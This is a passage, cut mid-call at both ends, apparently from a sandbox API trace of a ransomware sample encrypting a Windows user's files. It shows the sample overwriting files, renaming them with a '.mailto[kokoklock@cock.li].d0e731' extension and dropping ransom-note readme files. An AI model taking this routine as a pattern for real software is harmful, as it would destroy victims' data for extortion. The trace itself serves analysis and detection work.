(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.202] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0065.202] CloseHandle (hObject=0x7c4) returned 1 [0065.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e67c8 [0065.205] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv") returned="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv" [0065.205] wcscat (in: _Dest=0x33e67c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731" [0065.205] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv" (normalized: "c:\\users\\fd1hvy\\videos\\xvhh3h nmxl7bxcbvc.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\xvhh3h nmxl7bxcbvc.flv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.205] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0065.206] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv", dwFileAttributes=0x20) returned 0 [0065.206] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3482098 [0065.206] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Videos\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0065.206] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt" [0065.206] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\d0e731-readme.txt")) returned 0x20 [0065.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426f98) returned 1 [0065.206] RtlExitUserThread (Status=0x1) Thread: id = 324 os_tid = 0x1388 [0065.207] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms")) returned 0x23 [0065.208] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", dwFileAttributes=0x20) returned 1 [0065.208] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0065.208] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0xf03f880 | out: lpFileSize=0xf03f880*=248) returned 1 [0065.208] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.208] ReadFile (in: hFile=0x7c4, lpBuffer=0xf03f854, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf03f850, lpOverlapped=0x0 | out: lpBuffer=0xf03f854*, lpNumberOfBytesRead=0xf03f850*=0x4, lpOverlapped=0x0) returned 1 [0065.209] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be6e0 [0065.209] NtQuerySystemTime (in: CurrentTime=0xf03f82c | out: CurrentTime=0xf03f82c*=132121176230965882) returned 0x0 [0065.209] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x2584dd46 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xaed1ff6 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x3ee25cc [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xe8c97ecc [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x31b199e9 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x9c7c6bb2 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xa98850aa [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xfc50d23d [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x6db03ac0 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x75ee311 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x51575125 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x3e4aa0c9 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x1afafe92 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x2b8ba488 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x71a9b2cb [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x58cf539b [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xf46df0b8 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x7a7eabbd [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x505b4144 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xe29698b [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xae003856 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xcf38f0d5 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x6630b28b [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x9330df8a [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xf657a1c3 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xf6790094 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xb8fe7bb6 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xa8680d5e [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0xd90b214c [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x6d1f1e5 [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x1328e19d [0065.210] RtlRandom (in: Seed=0xf03f838 | out: Seed=0xf03f838) returned 0x915f1bb8 [0065.221] ReadFile (in: hFile=0x7c4, lpBuffer=0x3475830, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0xf03f82c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf03f82c*=0xf8, lpOverlapped=0x0) returned 1 [0065.221] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xf03f7f4 | out: lpNewFilePointer=0x0) returned 1 [0065.221] WriteFile (in: hFile=0x7c4, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0xf03f828, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf03f828*=0xf8, lpOverlapped=0x0) returned 1 [0065.221] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be780 [0065.221] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.221] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be780*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf03f824, lpOverlapped=0x0 | out: lpBuffer=0x34be780*, lpNumberOfBytesWritten=0xf03f824*=0x20, lpOverlapped=0x0) returned 1 [0065.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be780) returned 1 [0065.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.222] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf03f850, lpOverlapped=0x0 | out: lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xf03f850*=0x8, lpOverlapped=0x0) returned 1 [0065.222] WriteFile (in: hFile=0x7c4, lpBuffer=0xf03f868*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf03f850, lpOverlapped=0x0 | out: lpBuffer=0xf03f868*, lpNumberOfBytesWritten=0xf03f850*=0x4, lpOverlapped=0x0) returned 1 [0065.222] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf03f850, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf03f850*=0x4, lpOverlapped=0x0) returned 1 [0065.222] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf03f850, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf03f850*=0x6c, lpOverlapped=0x0) returned 1 [0065.222] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf03f850, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf03f850*=0x20, lpOverlapped=0x0) returned 1 [0065.222] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf03f850, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf03f850*=0x4, lpOverlapped=0x0) returned 1 [0065.222] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.222] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.222] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0065.222] CloseHandle (hObject=0x7c4) returned 1 [0065.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e67c8 [0065.223] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms") returned="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" [0065.223] wcscat (in: _Dest=0x33e67c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731" [0065.223] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms"), lpNewFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.224] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x23) returned 1 [0065.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0065.224] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", dwFileAttributes=0x23) returned 0 [0065.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482098 [0065.224] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Searches\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0065.224] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt" [0065.224] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\searches\\d0e731-readme.txt")) returned 0xffffffff [0065.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\searches\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0065.225] WriteFile (in: hFile=0x7c4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xf03f84c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xf03f84c*=0x481, lpOverlapped=0x0) returned 1 [0065.226] CloseHandle (hObject=0x7c4) returned 1 [0065.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d90) returned 1 [0065.226] RtlExitUserThread (Status=0x1) Thread: id = 325 os_tid = 0x138c [0065.227] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms")) returned 0x23 [0065.227] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x20) returned 1 [0065.227] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0065.228] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0xf0bf870 | out: lpFileSize=0xf0bf870*=248) returned 1 [0065.228] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.228] ReadFile (in: hFile=0x7c4, lpBuffer=0xf0bf844, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf0bf840, lpOverlapped=0x0 | out: lpBuffer=0xf0bf844*, lpNumberOfBytesRead=0xf0bf840*=0x4, lpOverlapped=0x0) returned 1 [0065.229] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be780 [0065.229] NtQuerySystemTime (in: CurrentTime=0xf0bf81c | out: CurrentTime=0xf0bf81c*=132121176231277868) returned 0x0 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xc8497fcd [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x25886128 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xe49bfb83 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xa9bd7c85 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x23014c38 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x9d93c7ad [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xa27d14a8 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xc0355c8a [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xa7daef3a [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xcb993e0f [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xc2e45a94 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x58f739c2 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x7973e44f [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x97ca5b3a [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xc33513fb [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xb119b303 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xe1324b3f [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x795915ce [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xd172b5f8 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x17108187 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x210617d9 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xf4cdab8e [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x2f75df75 [0065.229] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xea2047f5 [0065.230] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x8426cce3 [0065.230] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xb5503331 [0065.230] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xecc9e7d4 [0065.230] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x76c23e14 [0065.230] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x15255944 [0065.230] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x6c57e6ee [0065.230] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0x8c848408 [0065.230] RtlRandom (in: Seed=0xf0bf828 | out: Seed=0xf0bf828) returned 0xf36f0b11 [0065.240] ReadFile (in: hFile=0x7c4, lpBuffer=0x3475830, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0xf0bf81c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf0bf81c*=0xf8, lpOverlapped=0x0) returned 1 [0065.240] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xf0bf7e4 | out: lpNewFilePointer=0x0) returned 1 [0065.240] WriteFile (in: hFile=0x7c4, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0xf0bf818, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf0bf818*=0xf8, lpOverlapped=0x0) returned 1 [0065.240] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be7a8 [0065.240] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.240] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.240] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be7a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf0bf814, lpOverlapped=0x0 | out: lpBuffer=0x34be7a8*, lpNumberOfBytesWritten=0xf0bf814*=0x20, lpOverlapped=0x0) returned 1 [0065.240] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be7a8) returned 1 [0065.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.241] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf0bf840, lpOverlapped=0x0 | out: lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xf0bf840*=0x8, lpOverlapped=0x0) returned 1 [0065.241] WriteFile (in: hFile=0x7c4, lpBuffer=0xf0bf858*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf0bf840, lpOverlapped=0x0 | out: lpBuffer=0xf0bf858*, lpNumberOfBytesWritten=0xf0bf840*=0x4, lpOverlapped=0x0) returned 1 [0065.241] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf0bf840, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf0bf840*=0x4, lpOverlapped=0x0) returned 1 [0065.241] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf0bf840, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf0bf840*=0x6c, lpOverlapped=0x0) returned 1 [0065.241] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf0bf840, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf0bf840*=0x20, lpOverlapped=0x0) returned 1 [0065.241] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf0bf840, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf0bf840*=0x4, lpOverlapped=0x0) returned 1 [0065.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0065.241] CloseHandle (hObject=0x7c4) returned 1 [0065.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x33e3760 [0065.242] wcscpy (in: _Dest=0x33e3760, _Source="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms") returned="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" [0065.242] wcscat (in: _Dest=0x33e3760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731" [0065.242] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms"), lpNewFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.243] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x23) returned 1 [0065.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3760) returned 1 [0065.243] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x23) returned 0 [0065.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482098 [0065.244] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Searches\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0065.244] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt" [0065.244] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\searches\\d0e731-readme.txt")) returned 0x20 [0065.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0065.244] RtlExitUserThread (Status=0x1) Thread: id = 326 os_tid = 0x1390 [0065.245] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms")) returned 0x20 [0065.247] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", dwFileAttributes=0x20) returned 1 [0065.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0065.247] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0xf13fedc | out: lpFileSize=0xf13fedc*=855) returned 1 [0065.247] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x353, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.247] ReadFile (in: hFile=0x7c4, lpBuffer=0xf13feb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf13feac, lpOverlapped=0x0 | out: lpBuffer=0xf13feb0*, lpNumberOfBytesRead=0xf13feac*=0x4, lpOverlapped=0x0) returned 1 [0065.249] SetFilePointerEx (in: 